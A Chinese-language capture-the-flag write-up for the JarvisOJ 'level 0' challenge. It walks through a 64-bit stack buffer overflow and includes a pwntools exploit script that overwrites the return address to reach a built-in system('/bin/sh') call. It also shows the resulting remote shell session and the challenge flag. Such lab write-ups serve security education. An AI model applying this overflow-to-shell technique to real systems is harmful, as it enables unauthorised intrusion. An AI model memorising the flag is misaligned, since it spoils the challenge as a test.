

# 一.前言

练习平台: <https://www.jarvisoj.com/challenges>

题目: [XMAN] level 0

```
zzw@ubuntu:~/Desktop/pwn/0$ file level0
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]c0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
```

```
zzw@ubuntu:~/Desktop/pwn/0$ ./level0
Hello, World
asdsjagdjasgjda
zzw@ubuntu:~/Desktop/pwn/0$ a
```

输入

## 二.分析

### 2.1 IDA查看

```
ssize_t vulnerable_function()
{
    char buf; // [rsp+0h] [rbp-80h]
    return read(0, &buf, 0x200uLL);
}
```

溢出

这里要注意漏洞函数中read的第一个参数，这里表示的是标准输入，很明显这里存在一个栈溢出。

查看是否有system ()、"/bin/sh"字符。

```
1 int callsystem()
2 {
3     return system("/bin/sh");
4 }
```

现成的system("/bin/sh")

### 2.2 GDB调试

#### 2.2.1 查看安全机制

```
gdb-peda$ checksec
CANARY      : disabled
FORTIFY     : disabled
NX          : ENABLED
PIE         : disabled
RELRO       : disabled
gdb-peda$
```



```
gdb-peda$ pattern offset AKAAPAAI
AKAAPAAI found at offset: 128
gdb-peda$ a
```

## 2.2.3 编写poc

```
.text:0000000000400596 call system      proc near
|.text:0000000000400596 |__asm__ {      ← 跳转到这里
.text:0000000000400596         push    rbp
.text:0000000000400597         mov     rbp, rsp
.text:000000000040059A         mov     edi, offset command ; "/bin/sh"
.text:000000000040059F         call    _system
.text:00000000004005A4         pop     rbp
.text:00000000004005A5         retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 call system      endp
```

payload += 128 \* 'a' //缓冲区的大小

payload += 8 \* 'a' //ebp 64位8个字节

payload += p64(0x400596) //覆盖返回地址的位置

```
from pwn import *
pro=remote('pwn2.jarvisoj.com',9881)
data=pro.recv(100).decode()
print(data)
#payload=flat([(128+8)*'a',p64(0x400596)]) ## python2.7
payload=(128)*'a'+p64(0xdeadbeef)+p64(0x400596) ## python3.6
pro.send(payload)
pro.interactive()
pro.close()
```

结果:

```
zzw@ubuntu:~/Desktop/pwn/0$ python3 pwn0.py
[+] Opening connection to pwn2.jarvisoj.com on port 9881: Done
Hello, World

[*] Switching to interactive mode
$ ls
flag
level0_x64
$ cat flag
CTF{713ca3944e92180e0ef03171981dcd41}
$ a
```

flag

CTF{713ca3944e92180e0ef03171981dcd41}